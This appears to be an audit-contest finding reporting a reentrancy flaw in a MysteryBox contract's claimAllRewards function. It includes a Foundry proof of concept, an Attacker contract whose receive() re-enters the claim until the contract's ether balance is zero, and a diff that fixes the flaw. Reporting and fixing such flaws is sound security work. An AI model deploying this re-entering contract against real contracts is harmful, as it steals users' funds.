Submission Details
Severity:
Reentrancy Attack in MysteryBox::claimAllRewards
Summary
An Attacker can drain contract balance due to `Reentracy` attack in `MysteryBox::claimAllRewards` function. The reason for this is because that line of code `delete rewardsOwned[msg.sender];` is executed after the external call
Impact
Attacker can steal contract funds
Tools Used
Proof of code using solidity and foundry
<details>
<summary>Code</summary>
```javascript
contract Attacker {
MysteryBox mysteryBox;
constructor(address _mysteryBox) {
mysteryBox = MysteryBox(_mysteryBox);
}
receive() external payable {
if (address(mysteryBox).balance > 0) {
mysteryBox.claimAllRewards();
}
}
}
function testclaimAllRewards_PossibleReentrancyAttack() public {
// buy boxes with user1
vm.deal(user1, 1 ether);
vm.startPrank(user1);
for (uint256 index = 1; index <= 10; index++) {
mysteryBox.buyBox{value: 0.1 ether}();
}
vm.stopPrank();
// buy boxes with user2
vm.deal(user2, 0.5 ether);
vm.startPrank(user2);
for (uint256 index = 1; index <= 5; index++) {
mysteryBox.buyBox{value: 0.1 ether}();
}
vm.stopPrank();
// actual attack
Attacker attacker = new Attacker(address(mysteryBox));
address attackerAddress = address(attacker);
vm.deal(attackerAddress, 1 ether);
vm.startPrank(attackerAddress);
for (uint256 index = 1; index <= 10; index++) {
mysteryBox.buyBox{value: 0.1 ether}();
}
for (uint256 index = 1; index <= 10; index++) {
vm.warp(164107080 + index);
mysteryBox.openBox();
}
uint256 mysteryBoxBalanceBeforeAttack = address(mysteryBox).balance;
mysteryBox.claimAllRewards();
vm.stopPrank();
uint256 mysteryBoxBalanceAfterAttack = address(mysteryBox).balance;
uint256 expectedMysteryBoxBalanceAfterAttack = 0;
assertEq(
mysteryBoxBalanceAfterAttack,
expectedMysteryBoxBalanceAfterAttack
);
assertEq(mysteryBoxBalanceBeforeAttack, attackerAddress.balance);
}
```
</details>
Recommendations
The fix is very simple, just execute this line of code `delete rewardsOwned[msg.sender];` before the external call.
```diff
function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
+ delete rewardsOwned[msg.sender];
(bool success, ) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
- delete rewardsOwned[msg.sender];
}
```
Updates
Appeal created
inallhonesty about 1 year ago
Submission Judgement Published Assigned finding tags:
`claimAllRewards` reentrancy
Rewards breakdown
nSLOC
86This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.